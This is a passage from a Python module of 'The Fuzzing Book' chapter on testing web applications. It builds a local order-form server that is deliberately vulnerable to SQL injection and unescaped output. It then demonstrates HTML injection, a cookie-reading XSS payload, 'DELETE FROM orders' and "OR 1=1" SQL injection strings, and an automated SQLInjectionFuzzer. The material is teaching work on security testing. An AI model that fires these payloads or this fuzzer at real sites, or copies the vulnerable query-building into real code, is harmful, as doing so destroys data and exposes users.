"/order?item=lockset&name=+&email=0%404&city=+'+)%3b+DELETE+FROM+orders%3b+--&zip='+OR+1%3d1--'&terms=on&submit=" As you can see, the path to be retrieved contains the payload encoded into one of the form field values. Internally, `SQLInjectionFuzzer` builds on a helper class named `SQLInjectionGrammarMiner`; you can extend its functionality to include more features. `SQLInjectionFuzzer` is a proof-of-concept on how to build a malicious fuzzer; you should study and extend its code to make actual use of it. For more details, source, and documentation, see "The Fuzzing Book - Testing Web Applications" at https://www.fuzzingbook.org/html/WebFuzzer.html ''' # Allow to use 'from . import <module>' when run as script (cf. PEP 366) if __name__ == '__main__' and __package__ is None: __package__ = 'fuzzingbook' # Testing Web Applications # ======================== if __name__ == '__main__': print('# Testing Web Applications') ## Synopsis ## -------- if __name__ == '__main__': print('\n## Synopsis') ## A Web User Interface ## -------------------- if __name__ == '__main__': print('\n## A Web User Interface') ### Excursion: Implementing a Web Server if __name__ == '__main__': print('\n### Excursion: Implementing a Web Server') from http.server import HTTPServer, BaseHTTPRequestHandler from http.server import HTTPStatus # type: ignore class SimpleHTTPRequestHandler(BaseHTTPRequestHandler): """A simple HTTP server""" pass #### Taking Orders if __name__ == '__main__': print('\n#### Taking Orders') if __name__ == '__main__': # We use the same fixed seed as the notebook to ensure consistency import random random.seed(2001) from typing import NoReturn, Tuple, Dict, List, Optional, Union FUZZINGBOOK_SWAG = { "tshirt": "One FuzzingBook T-Shirt", "drill": "One FuzzingBook Rotary Hammer", "lockset": "One FuzzingBook Lock Set" } HTML_ORDER_FORM = """ <html><body> <form action="/order" style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;"> <strong id="title" style="font-size: x-large">Fuzzingbook Swag Order Form</strong> <p> Yes! Please send me at your earliest convenience <select name="item"> """ # (We don't use h2, h3, etc. here # as they interfere with the notebook table of contents) for item in FUZZINGBOOK_SWAG: HTML_ORDER_FORM += \ '<option value="{item}">{name}</option>\n'.format(item=item, name=FUZZINGBOOK_SWAG[item]) HTML_ORDER_FORM += """ </select> <br> <table> <tr><td> <label for="name">Name: </label><input type="text" name="name"> </td><td> <label for="email">Email: </label><input type="email" name="email"><br> </td></tr> <tr><td> <label for="city">City: </label><input type="text" name="city"> </td><td> <label for="zip">ZIP Code: </label><input type="number" name="zip"> </tr></tr> </table> <input type="checkbox" name="terms"><label for="terms">I have read the <a href="/terms">terms and conditions</a></label>.<br> <input type="submit" name="submit" value="Place order"> </p> </form> </body></html> """ if __name__ == '__main__': from IPython.display import display from .bookutils import HTML if __name__ == '__main__': HTML(HTML_ORDER_FORM) #### Order Confirmation if __name__ == '__main__': print('\n#### Order Confirmation') HTML_ORDER_RECEIVED = """ <html><body> <div style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;"> <strong id="title" style="font-size: x-large">Thank you for your Fuzzingbook Order!</strong> <p id="confirmation"> We will send <strong>{item_name}</strong> to {name} in {city}, {zip}<br> A confirmation mail will be sent to {email}. </p> <p> Want more swag? Use our <a href="/">order form</a>! </p> </div> </body></html> """ if __name__ == '__main__': HTML(HTML_ORDER_RECEIVED.format(item_name="One FuzzingBook Rotary Hammer", name="Jane Doe", email="doe@example.com", city="Seattle", zip="98104")) #### Terms and Conditions if __name__ == '__main__': print('\n#### Terms and Conditions') HTML_TERMS_AND_CONDITIONS = """ <html><body> <div style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;"> <strong id="title" style="font-size: x-large">Fuzzingbook Terms and Conditions</strong> <p> The content of this project is licensed under the <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/">Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.</a> </p> <p> To place an order, use our <a href="/">order form</a>. </p> </div> </body></html> """ if __name__ == '__main__': HTML(HTML_TERMS_AND_CONDITIONS) #### Storing Orders if __name__ == '__main__': print('\n#### Storing Orders') import sqlite3 import os ORDERS_DB = "orders.db" def init_db(): if os.path.exists(ORDERS_DB): os.remove(ORDERS_DB) db_connection = sqlite3.connect(ORDERS_DB) db_connection.execute("DROP TABLE IF EXISTS orders") db_connection.execute("CREATE TABLE orders " "(item text, name text, email text, " "city text, zip text)") db_connection.commit() return db_connection if __name__ == '__main__': db = init_db() if __name__ == '__main__': print(db.execute("SELECT * FROM orders").fetchall()) if __name__ == '__main__': db.execute("INSERT INTO orders " + "VALUES ('lockset', 'Walter White', " "'white@jpwynne.edu', 'Albuquerque', '87101')") db.commit() if __name__ == '__main__': print(db.execute("SELECT * FROM orders").fetchall()) if __name__ == '__main__': db.execute("DELETE FROM orders WHERE name = 'Walter White'") db.commit() if __name__ == '__main__': print(db.execute("SELECT * FROM orders").fetchall()) #### Handling HTTP Requests if __name__ == '__main__': print('\n#### Handling HTTP Requests') class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler): def do_GET(self): try: # print("GET " + self.path) if self.path == "/": self.send_order_form() elif self.path.startswith("/order"): self.handle_order() elif self.path.startswith("/terms"): self.send_terms_and_conditions() else: self.not_found() except Exception: self.internal_server_error() ##### Order Form if __name__ == '__main__': print('\n##### Order Form') class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler): def send_order_form(self): self.send_response(HTTPStatus.OK, "Place your order") self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(HTML_ORDER_FORM.encode("utf8")) class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler): def send_terms_and_conditions(self): self.send_response(HTTPStatus.OK, "Terms and Conditions") self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(HTML_TERMS_AND_CONDITIONS.encode("utf8")) ##### Processing Orders if __name__ == '__main__': print('\n##### Processing Orders') import urllib.parse class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler): def get_field_values(self): # Note: this fails to decode non-ASCII characters properly query_string = urllib.parse.urlparse(self.path).query # fields is { 'item': ['tshirt'], 'name': ['Jane Doe'], ...} fields = urllib.parse.parse_qs(query_string, keep_blank_values=True) values = {} for key in fields: values[key] = fields[key][0] return values class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler): def handle_order(self): values = self.get_field_values() self.store_order(values) self.send_order_received(values) class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler): def store_order(self, values): db = sqlite3.connect(ORDERS_DB) # The following should be one line sql_command = "INSERT INTO orders VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values) self.log_message("%s", sql_command) db.executescript(sql_command) db.commit() class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler): def send_order_received(self, values): # Should use html.escape() values["item_name"] = FUZZINGBOOK_SWAG[values["item"]] confirmation = HTML_ORDER_RECEIVED.format(**values).encode("utf8") self.send_response(HTTPStatus.OK, "Order received") self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(confirmation) ##### Other HTTP commands if __name__ == '__main__': print('\n##### Other HTTP commands') class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler): def do_HEAD(self): # print("HEAD " + self.path) self.send_response(HTTPStatus.OK) self.send_header("Content-type", "text/html") self.end_headers() #### Error Handling if __name__ == '__main__': print('\n#### Error Handling') ##### Page Not Found if __name__ == '__main__': print('\n##### Page Not Found') HTML_NOT_FOUND = """ <html><body> <div style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;"> <strong id="title" style="font-size: x-large">Sorry.</strong> <p> This page does not exist. Try our <a href="/">order form</a> instead. </p> </div> </body></html> """ if __name__ == '__main__': HTML(HTML_NOT_FOUND) class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler): def not_found(self): self.send_response(HTTPStatus.NOT_FOUND, "Not found") self.send_header("Content-type", "text/html") self.end_headers() message = HTML_NOT_FOUND self.wfile.write(message.encode("utf8")) ##### Internal Errors if __name__ == '__main__': print('\n##### Internal Errors') HTML_INTERNAL_SERVER_ERROR = """ <html><body> <div style="border:3px; border-style:solid; border-color:#FF0000; padding: 1em;"> <strong id="title" style="font-size: x-large">Internal Server Error</strong> <p> The server has encountered an internal error. Go to our <a href="/">order form</a>. <pre>{error_message}</pre> </p> </div> </body></html> """ if __name__ == '__main__': HTML(HTML_INTERNAL_SERVER_ERROR) import sys import traceback class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler): def internal_server_error(self): self.send_response(HTTPStatus.INTERNAL_SERVER_ERROR, "Internal Error") self.send_header("Content-type", "text/html") self.end_headers() exc = traceback.format_exc() self.log_message("%s", exc.strip()) message = HTML_INTERNAL_SERVER_ERROR.format(error_message=exc) self.wfile.write(message.encode("utf8")) #### Logging if __name__ == '__main__': print('\n#### Logging') from multiprocess import Queue # type: ignore HTTPD_MESSAGE_QUEUE = Queue() HTTPD_MESSAGE_QUEUE.put("I am another message") HTTPD_MESSAGE_QUEUE.put("I am one more message") from .bookutils import rich_output, terminal_escape def display_httpd_message(message: str) -> None: if rich_output(): display( HTML( '<pre style="background: NavajoWhite;">' + message + "</pre>")) else: print(terminal_escape(message)) if __name__ == '__main__': display_httpd_message("I am a httpd server message") def print_httpd_messages(): while not HTTPD_MESSAGE_QUEUE.empty(): message = HTTPD_MESSAGE_QUEUE.get() display_httpd_message(message) import time if __name__ == '__main__': time.sleep(1) print_httpd_messages() def clear_httpd_messages() -> None: while not HTTPD_MESSAGE_QUEUE.empty(): HTTPD_MESSAGE_QUEUE.get() class SimpleHTTPRequestHandler(SimpleHTTPRequestHandler): def log_message(self, format: str, *args) -> None: message = ("%s - - [%s] %s\n" % (self.address_string(), self.log_date_time_string(), format % args)) HTTPD_MESSAGE_QUEUE.put(message) if __name__ == '__main__': import requests def webbrowser(url: str, mute: bool = False) -> str: """Download and return the http/https resource given by the URL""" import requests # for imports try: r = requests.get(url) contents = r.text finally: if not mute: print_httpd_messages() else: clear_httpd_messages() return contents ### End of Excursion if __name__ == '__main__': print('\n### End of Excursion') ### Running the Server if __name__ == '__main__': print('\n### Running the Server') def run_httpd_forever(handler_class: type) -> NoReturn: # type: ignore host = "127.0.0.1" # localhost IP for port in range(8800, 9000): httpd_address = (host, port) try: httpd = HTTPServer(httpd_address, handler_class) break except OSError: continue httpd_url = "http://" + host + ":" + repr(port) HTTPD_MESSAGE_QUEUE.put(httpd_url) httpd.serve_forever() from multiprocess import Process def start_httpd(handler_class: type = SimpleHTTPRequestHandler) \ -> Tuple[Process, str]: clear_httpd_messages() httpd_process = Process(target=run_httpd_forever, args=(handler_class,)) httpd_process.start() httpd_url = HTTPD_MESSAGE_QUEUE.get() return httpd_process, httpd_url if __name__ == '__main__': httpd_process, httpd_url = start_httpd() httpd_url ### Interacting with the Server if __name__ == '__main__': print('\n### Interacting with the Server') #### Direct Browser Access if __name__ == '__main__': print('\n#### Direct Browser Access') def print_url(url: str) -> None: if rich_output(): display(HTML('<pre><a href="%s">%s</a></pre>' % (url, url))) else: print(terminal_escape(url)) if __name__ == '__main__': print_url(httpd_url) if __name__ == '__main__': from IPython.display import IFrame if __name__ == '__main__': IFrame(httpd_url, '100%', 230) if __name__ == '__main__': print_httpd_messages() if __name__ == '__main__': print(db.execute("SELECT * FROM orders").fetchall()) if __name__ == '__main__': db.execute("DELETE FROM orders") db.commit() #### Retrieving the Home Page if __name__ == '__main__': print('\n#### Retrieving the Home Page') if __name__ == '__main__': contents = webbrowser(httpd_url) if __name__ == '__main__': HTML(contents) #### Placing Orders if __name__ == '__main__': print('\n#### Placing Orders') from urllib.parse import urljoin, urlsplit if __name__ == '__main__': urljoin(httpd_url, "/order?foo=bar") if __name__ == '__main__': contents = webbrowser(urljoin(httpd_url, "/order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104")) if __name__ == '__main__': HTML(contents) if __name__ == '__main__': print(db.execute("SELECT * FROM orders").fetchall()) #### Error Messages if __name__ == '__main__': print('\n#### Error Messages') if __name__ == '__main__': HTML(webbrowser(urljoin(httpd_url, "/some/other/path"))) ## Fuzzing Input Forms ## ------------------- if __name__ == '__main__': print('\n## Fuzzing Input Forms') ### Fuzzing with Expected Values if __name__ == '__main__': print('\n### Fuzzing with Expected Values') #### Excursion: Implementing cgi_decode() if __name__ == '__main__': print('\n#### Excursion: Implementing cgi_decode()') import string def cgi_encode(s: str, do_not_encode: str = "") -> str: ret = "" for c in s: if (c in string.ascii_letters or c in string.digits or c in "$-_.+!*'()," or c in do_not_encode): ret += c elif c == ' ': ret += '+' else: ret += "%%%02x" % ord(c) return ret if __name__ == '__main__': s = cgi_encode('Is "DOW30" down .24%?') s if __name__ == '__main__': cgi_encode("<string>@<string>", "<>") from .Coverage import cgi_decode # minor dependency if __name__ == '__main__': cgi_decode(s) #### End of Excursion if __name__ == '__main__': print('\n#### End of Excursion') from .Grammars import crange, is_valid_grammar, syntax_diagram, Grammar ORDER_GRAMMAR: Grammar = { "<start>": ["<order>"], "<order>": ["/order?item=<item>&name=<name>&email=<email>&city=<city>&zip=<zip>"], "<item>": ["tshirt", "drill", "lockset"], "<name>": [cgi_encode("Jane Doe"), cgi_encode("John Smith")], "<email>": [cgi_encode("j.doe@example.com"), cgi_encode("j_smith@example.com")], "<city>": ["Seattle", cgi_encode("New York")], "<zip>": ["<digit>" * 5], "<digit>": crange('0', '9') } if __name__ == '__main__': assert is_valid_grammar(ORDER_GRAMMAR) if __name__ == '__main__': syntax_diagram(ORDER_GRAMMAR) from .GrammarFuzzer import GrammarFuzzer if __name__ == '__main__': order_fuzzer = GrammarFuzzer(ORDER_GRAMMAR) [order_fuzzer.fuzz() for i in range(5)] if __name__ == '__main__': HTML(webbrowser(urljoin(httpd_url, order_fuzzer.fuzz()))) if __name__ == '__main__': print(db.execute("SELECT * FROM orders").fetchall()) ### Fuzzing with Unexpected Values if __name__ == '__main__': print('\n### Fuzzing with Unexpected Values') if __name__ == '__main__': seed = order_fuzzer.fuzz() seed from .MutationFuzzer import MutationFuzzer # minor deoendency if __name__ == '__main__': mutate_order_fuzzer = MutationFuzzer([seed], min_mutations=1, max_mutations=1) [mutate_order_fuzzer.fuzz() for i in range(5)] if __name__ == '__main__': while True: path = mutate_order_fuzzer.fuzz() url = urljoin(httpd_url, path) r = requests.get(url) if r.status_code == HTTPStatus.INTERNAL_SERVER_ERROR: break if __name__ == '__main__': url if __name__ == '__main__': clear_httpd_messages() HTML(webbrowser(url)) if __name__ == '__main__': failing_path = path failing_path from .Fuzzer import Runner class WebRunner(Runner): """Runner for a Web server""" def __init__(self, base_url: str = None): self.base_url = base_url def run(self, url: str) -> Tuple[str, str]: if self.base_url is not None: url = urljoin(self.base_url, url) import requests # for imports r = requests.get(url) if r.status_code == HTTPStatus.OK: return url, Runner.PASS elif r.status_code == HTTPStatus.INTERNAL_SERVER_ERROR: return url, Runner.FAIL else: return url, Runner.UNRESOLVED if __name__ == '__main__': web_runner = WebRunner(httpd_url) web_runner.run(failing_path) from .Reducer import DeltaDebuggingReducer # minor if __name__ == '__main__': minimized_path = DeltaDebuggingReducer(web_runner).reduce(failing_path) minimized_path if __name__ == '__main__': minimized_url = urljoin(httpd_url, minimized_path) minimized_url if __name__ == '__main__': clear_httpd_messages() HTML(webbrowser(minimized_url)) ## Extracting Grammars for Input Forms ## ----------------------------------- if __name__ == '__main__': print('\n## Extracting Grammars for Input Forms') ### Searching HTML for Input Fields if __name__ == '__main__': print('\n### Searching HTML for Input Fields') if __name__ == '__main__': html_text = webbrowser(httpd_url) print(html_text[html_text.find("<form"):html_text.find("</form>") + len("</form>")]) from html.parser import HTMLParser class FormHTMLParser(HTMLParser): """A parser for HTML forms""" def reset(self) -> None: super().reset() # Form action attribute (a URL) self.action = "" # Map of field name to type # (or selection name to [option_1, option_2, ...]) self.fields: Dict[str, List[str]] = {} # Stack of currently active selection names self.select: List[str] = [] class FormHTMLParser(FormHTMLParser): def handle_starttag(self, tag, attrs): attributes = {attr_name: attr_value for attr_name, attr_value in attrs} # print(tag, attributes) if tag == "form": self.action = attributes.get("action", "") elif tag == "select" or tag == "datalist": if "name" in attributes: name = attributes["name"] self.fields[name] = [] self.select.append(name) else: self.select.append(None) elif tag == "option" and "multiple" not in attributes: current_select_name = self.select[-1] if current_select_name is not None and "value" in attributes: self.fields[current_select_name].append(attributes["value"]) elif tag == "input" or tag == "option" or tag == "textarea": if "name" in attributes: name = attributes["name"] self.fields[name] = attributes.get("type", "text") elif tag == "button": if "name" in attributes: name = attributes["name"] self.fields[name] = [""] class FormHTMLParser(FormHTMLParser): def handle_endtag(self, tag): if tag == "select": self.select.pop() class HTMLGrammarMiner: """Mine a grammar from a HTML form""" def __init__(self, html_text: str) -> None: """Constructor. `html_text` is the HTML string to parse.""" html_parser = FormHTMLParser() html_parser.feed(html_text) self.fields = html_parser.fields self.action = html_parser.action if __name__ == '__main__': html_miner = HTMLGrammarMiner(html_text) html_miner.action if __name__ == '__main__': html_miner.fields ### Mining Grammars for Web Pages if __name__ == '__main__': print('\n### Mining Grammars for Web Pages') from .Grammars import crange, srange, new_symbol, unreachable_nonterminals, CGI_GRAMMAR, extend_grammar class HTMLGrammarMiner(HTMLGrammarMiner): QUERY_GRAMMAR: Grammar = extend_grammar(CGI_GRAMMAR, { "<start>": ["<action>?<query>"], "<text>": ["<string>"], "<number>": ["<digits>"], "<digits>": ["<digit>", "<digits><digit>"], "<digit>": crange('0', '9'), "<checkbox>": ["<_checkbox>"], "<_checkbox>": ["on", "off"], "<email>": ["<_email>"], "<_email>": [cgi_encode("<string>@<string>", "<>")], # Use a fixed password in case we need to repeat it "<password>": ["<_password>"], "<_password>": ["abcABC.123"], # Stick to printable characters to avoid logging problems "<percent>": ["%<hexdigit-1><hexdigit>"], "<hexdigit-1>": srange("34567"), # Submissions: "<submit>": [""] }) class HTMLGrammarMiner(HTMLGrammarMiner): def mine_grammar(self) -> Grammar: """Extract a grammar from the given HTML text""" grammar: Grammar = extend_grammar(self.QUERY_GRAMMAR) grammar["<action>"] = [self.action] query = "" for field in self.fields: field_symbol = new_symbol(grammar, "<" + field + ">") field_type = self.fields[field] if query != "": query += "&" query += field_symbol if isinstance(field_type, str): field_type_symbol = "<" + field_type + ">" grammar[field_symbol] = [field + "=" + field_type_symbol] if field_type_symbol not in grammar: # Unknown type grammar[field_type_symbol] = ["<text>"] else: # List of values value_symbol = new_symbol(grammar, "<" + field + "-value>") grammar[field_symbol] = [field + "=" + value_symbol] grammar[value_symbol] = field_type # type: ignore grammar["<query>"] = [query] # Remove unused parts for nonterminal in unreachable_nonterminals(grammar): del grammar[nonterminal] assert is_valid_grammar(grammar) return grammar if __name__ == '__main__': html_miner = HTMLGrammarMiner(html_text) grammar = html_miner.mine_grammar() grammar if __name__ == '__main__': grammar["<start>"] if __name__ == '__main__': grammar["<action>"] if __name__ == '__main__': grammar["<query>"] if __name__ == '__main__': grammar["<zip>"] if __name__ == '__main__': grammar["<terms>"] if __name__ == '__main__': order_fuzzer = GrammarFuzzer(grammar) [order_fuzzer.fuzz() for i in range(3)] if __name__ == '__main__': HTML(webbrowser(urljoin(httpd_url, order_fuzzer.fuzz()))) ### A Fuzzer for Web Forms if __name__ == '__main__': print('\n### A Fuzzer for Web Forms') class WebFormFuzzer(GrammarFuzzer): """A Fuzzer for Web forms""" def __init__(self, url: str, *, grammar_miner_class: Optional[type] = None, **grammar_fuzzer_options): """Constructor. `url` - the URL of the Web form to fuzz. `grammar_miner_class` - the class of the grammar miner to use (default: `HTMLGrammarMiner`) Other keyword arguments are passed to the `GrammarFuzzer` constructor """ if grammar_miner_class is None: grammar_miner_class = HTMLGrammarMiner self.grammar_miner_class = grammar_miner_class # We first extract the HTML form and its grammar... html_text = self.get_html(url) grammar = self.get_grammar(html_text) # ... and then initialize the `GrammarFuzzer` superclass with it super().__init__(grammar, **grammar_fuzzer_options) def get_html(self, url: str): """Retrieve the HTML text for the given URL `url`. To be overloaded in subclasses.""" return requests.get(url).text def get_grammar(self, html_text: str): """Obtain the grammar for the given HTML `html_text`. To be overloaded in subclasses.""" grammar_miner = self.grammar_miner_class(html_text) return grammar_miner.mine_grammar() if __name__ == '__main__': web_form_fuzzer = WebFormFuzzer(httpd_url) web_form_fuzzer.fuzz() if __name__ == '__main__': web_form_runner = WebRunner(httpd_url) web_form_fuzzer.runs(web_form_runner, 10) if __name__ == '__main__': clear_httpd_messages() ## Crawling User Interfaces ## ------------------------ if __name__ == '__main__': print('\n## Crawling User Interfaces') class LinkHTMLParser(HTMLParser): """Parse all links found in a HTML page""" def reset(self): super().reset() self.links = [] def handle_starttag(self, tag, attrs): attributes = {attr_name: attr_value for attr_name, attr_value in attrs} if tag == "a" and "href" in attributes: # print("Found:", tag, attributes) self.links.append(attributes["href"]) ### Excursion: Implementing a Crawler if __name__ == '__main__': print('\n### Excursion: Implementing a Crawler') from collections import deque import urllib.robotparser def crawl(url, max_pages: Union[int, float] = 1, same_host: bool = True): """Return the list of linked URLs from the given URL. `max_pages` - the maximum number of pages accessed. `same_host` - if True (default), stay on the same host""" pages = deque([(url, "<param>")]) urls_seen = set() rp = urllib.robotparser.RobotFileParser() rp.set_url(urljoin(url, "/robots.txt")) rp.read() while len(pages) > 0 and max_pages > 0: page, referrer = pages.popleft() if not rp.can_fetch("*", page): # Disallowed by robots.txt continue r = requests.get(page) max_pages -= 1 if r.status_code != HTTPStatus.OK: print("Error " + repr(r.status_code) + ": " + page, "(referenced from " + referrer + ")", file=sys.stderr) continue content_type = r.headers["content-type"] if not content_type.startswith("text/html"): continue parser = LinkHTMLParser() parser.feed(r.text) for link in parser.links: target_url = urljoin(page, link) if same_host and urlsplit( target_url).hostname != urlsplit(url).hostname: # Different host continue if urlsplit(target_url).fragment != "": # Ignore #fragments continue if target_url not in urls_seen: pages.append((target_url, page)) urls_seen.add(target_url) yield target_url if page not in urls_seen: urls_seen.add(page) yield page ### End of Excursion if __name__ == '__main__': print('\n### End of Excursion') if __name__ == '__main__': for url in crawl(httpd_url): print_httpd_messages() print_url(url) if __name__ == '__main__': for url in crawl("https://www.fuzzingbook.org/"): print_url(url) if __name__ == '__main__': for url in crawl(httpd_url, max_pages=float('inf')): web_form_fuzzer = WebFormFuzzer(url) web_form_runner = WebRunner(url) print(web_form_fuzzer.run(web_form_runner)) if __name__ == '__main__': clear_httpd_messages() ## Crafting Web Attacks ## -------------------- if __name__ == '__main__': print('\n## Crafting Web Attacks') ### HTML Injection Attacks if __name__ == '__main__': print('\n### HTML Injection Attacks') from .Grammars import extend_grammar ORDER_GRAMMAR_WITH_HTML_INJECTION: Grammar = extend_grammar(ORDER_GRAMMAR, { "<name>": [cgi_encode(''' Jane Doe<p> <strong><a href="www.lots.of.malware">Click here for cute cat pictures!</a></strong> </p> ''')], }) if __name__ == '__main__': html_injection_fuzzer = GrammarFuzzer(ORDER_GRAMMAR_WITH_HTML_INJECTION) order_with_injected_html = html_injection_fuzzer.fuzz() order_with_injected_html if __name__ == '__main__': HTML(webbrowser(urljoin(httpd_url, order_with_injected_html))) if __name__ == '__main__': print(db.execute("SELECT * FROM orders WHERE name LIKE '%<%'").fetchall()) ### Cross-Site Scripting Attacks if __name__ == '__main__': print('\n### Cross-Site Scripting Attacks') ORDER_GRAMMAR_WITH_XSS_INJECTION: Grammar = extend_grammar(ORDER_GRAMMAR, { "<name>": [cgi_encode('Jane Doe' + '<script>' + 'document.title = document.cookie.substring(0, 10);' + '</script>') ], }) if __name__ == '__main__': xss_injection_fuzzer = GrammarFuzzer(ORDER_GRAMMAR_WITH_XSS_INJECTION) order_with_injected_xss = xss_injection_fuzzer.fuzz() order_with_injected_xss if __name__ == '__main__': url_with_injected_xss = urljoin(httpd_url, order_with_injected_xss) url_with_injected_xss if __name__ == '__main__': HTML(webbrowser(url_with_injected_xss, mute=True)) if __name__ == '__main__': HTML('<script>document.title = "Jupyter"</script>') ### SQL Injection Attacks if __name__ == '__main__': print('\n### SQL Injection Attacks') if __name__ == '__main__': values: Dict[str, str] = { "item": "tshirt", "name": "Jane Doe", "email": "j.doe@example.com", "city": "Seattle", "zip": "98104" } if __name__ == '__main__': sql_command = ("INSERT INTO orders " + "VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)) sql_command if __name__ == '__main__': values["name"] = "Jane', 'x', 'x', 'x'); DELETE FROM orders; -- " if __name__ == '__main__': sql_command = ("INSERT INTO orders " + "VALUES ('{item}', '{name}', '{email}', '{city}', '{zip}')".format(**values)) sql_command from .Grammars import extend_grammar ORDER_GRAMMAR_WITH_SQL_INJECTION = extend_grammar(ORDER_GRAMMAR, { "<name>": [cgi_encode("Jane', 'x', 'x', 'x'); DELETE FROM orders; --")], }) if __name__ == '__main__': sql_injection_fuzzer = GrammarFuzzer(ORDER_GRAMMAR_WITH_SQL_INJECTION) order_with_injected_sql = sql_injection_fuzzer.fuzz() order_with_injected_sql if __name__ == '__main__': print(db.execute("SELECT * FROM orders").fetchall()) if __name__ == '__main__': contents = webbrowser(urljoin(httpd_url, order_with_injected_sql)) if __name__ == '__main__': print(db.execute("SELECT * FROM orders").fetchall()) ### Leaking Internal Information if __name__ == '__main__': print('\n### Leaking Internal Information') if __name__ == '__main__': answer = webbrowser(urljoin(httpd_url, "/order"), mute=True) if __name__ == '__main__': HTML(answer) ## Fully Automatic Web Attacks ## --------------------------- if __name__ == '__main__': print('\n## Fully Automatic Web Attacks') class SQLInjectionGrammarMiner(HTMLGrammarMiner): """Demonstration of an automatic SQL Injection attack grammar miner""" # Some common attack schemes ATTACKS: List[str] = [ "<string>' <sql-values>); <sql-payload>; <sql-comment>", "<string>' <sql-comment>", "' OR 1=1<sql-comment>'", "<number> OR 1=1", ] def __init__(self, html_text: str, sql_payload: str): """Constructor. `html_text` - the HTML form to be attacked `sql_payload` - the SQL command to be executed """ super().__init__(html_text) self.QUERY_GRAMMAR = extend_grammar(self.QUERY_GRAMMAR, { "<text>": ["<string>", "<sql-injection-attack>"], "<number>": ["<digits>", "<sql-injection-attack>"], "<checkbox>": ["<_checkbox>", "<sql-injection-attack>"], "<email>": ["<_email>", "<sql-injection-attack>"], "<sql-injection-attack>": [ cgi_encode(attack, "<->") for attack in self.ATTACKS ], "<sql-values>": ["", cgi_encode("<sql-values>, '<string>'", "<->")], "<sql-payload>": [cgi_encode(sql_payload)], "<sql-comment>": ["--", "#"], }) if __name__ == '__main__': html_miner = SQLInjectionGrammarMiner( html_text, sql_payload="DROP TABLE orders") if __name__ == '__main__': grammar = html_miner.mine_grammar() grammar if __name__ == '__main__': grammar["<text>"] if __name__ == '__main__': sql_fuzzer = GrammarFuzzer(grammar) sql_fuzzer.fuzz() if __name__ == '__main__': print(db.execute("SELECT * FROM orders").fetchall()) if __name__ == '__main__': contents = webbrowser(urljoin(httpd_url, "/order?item=tshirt&name=Jane+Doe&email=doe%40example.com&city=Seattle&zip=98104")) def orders_db_is_empty(): """Return True if the orders database is empty (= we have been successful)""" try: entries = db.execute("SELECT * FROM orders").fetchall() except sqlite3.OperationalError: return True return len(entries) == 0 if __name__ == '__main__': orders_db_is_empty() class SQLInjectionFuzzer(WebFormFuzzer): """Simple demonstrator of a SQL Injection Fuzzer""" def __init__(self, url: str, sql_payload : str ="", *, sql_injection_grammar_miner_class: Optional[type] = None, **kwargs): """Constructor. `url` - the Web page (with a form) to retrieve `sql_payload` - the SQL command to execute `sql_injection_grammar_miner_class` - the miner to be used (default: SQLInjectionGrammarMiner) Other keyword arguments are passed to `WebFormFuzzer`. """ self.sql_payload = sql_payload if sql_injection_grammar_miner_class is None: sql_injection_grammar_miner_class = SQLInjectionGrammarMiner self.sql_injection_grammar_miner_class = sql_injection_grammar_miner_class super().__init__(url, **kwargs) def get_grammar(self, html_text): """Obtain a grammar with SQL injection commands""" grammar_miner = self.sql_injection_grammar_miner_class( html_text, sql_payload=self.sql_payload) return grammar_miner.mine_grammar() if __name__ == '__main__': sql_fuzzer = SQLInjectionFuzzer(httpd_url, "DELETE FROM orders") web_runner = WebRunner(httpd_url) trials = 1 while True: sql_fuzzer.run(web_runner) if orders_db_is_empty(): break trials += 1 if __name__ == '__main__': trials if __name__ == '__main__': orders_db_is_empty() ## Synopsis ## -------- if __name__ == '__main__': print('\n## Synopsis') ### Fuzzing Web Forms if __name__ == '__main__': print('\n### Fuzzing Web Forms') if __name__ == '__main__': web_form_fuzzer = WebFormFuzzer(httpd_url) if __name__ == '__main__': web_form_fuzzer.grammar['<start>'] if __name__ == '__main__': web_form_fuzzer.grammar['<action>'] if __name__ == '__main__': web_form_fuzzer.grammar['<query>'] if __name__ == '__main__': web_form_fuzzer.fuzz() ### SQL Injection Attacks if __name__ == '__main__': print('\n### SQL Injection Attacks') if __name__ == '__main__': sql_fuzzer = SQLInjectionFuzzer(httpd_url, "DELETE FROM orders") sql_fuzzer.fuzz() from .ClassDiagram import display_class_hierarchy from .Fuzzer import Fuzzer, Runner from .Grammars import Grammar, Expansion from .GrammarFuzzer import GrammarFuzzer, DerivationTree if __name__ == '__main__': display_class_hierarchy([WebFormFuzzer, SQLInjectionFuzzer, WebRunner, HTMLGrammarMiner, SQLInjectionGrammarMiner], public_methods=[ Fuzzer.__init__, Fuzzer.fuzz, Fuzzer.run, Fuzzer.runs, Runner.__init__, Runner.run, WebRunner.__init__, WebRunner.run, GrammarFuzzer.__init__, GrammarFuzzer.fuzz, GrammarFuzzer.fuzz_tree, WebFormFuzzer.__init__, SQLInjectionFuzzer.__init__, HTMLGrammarMiner.__init__, SQLInjectionGrammarMiner.__init__, ], types={ 'DerivationTree': DerivationTree, 'Expansion': Expansion, 'Grammar': Grammar }, project='fuzzingbook') ## Lessons Learned ## --------------- if __name__ == '__main__': print('\n## Lessons Learned') if __name__ == '__main__': clear_httpd_messages() if __name__ == '__main__': httpd_process.terminate() ## Next Steps ## ---------- if __name__ == '__main__': print('\n## Next Steps') ## Background ## ---------- if __name__ == '__main__': print('\n## Background') ## Exercises ## --------- if __name__ == '__main__': print('\n## Exercises') ### Exercise 1: Fix the Server if 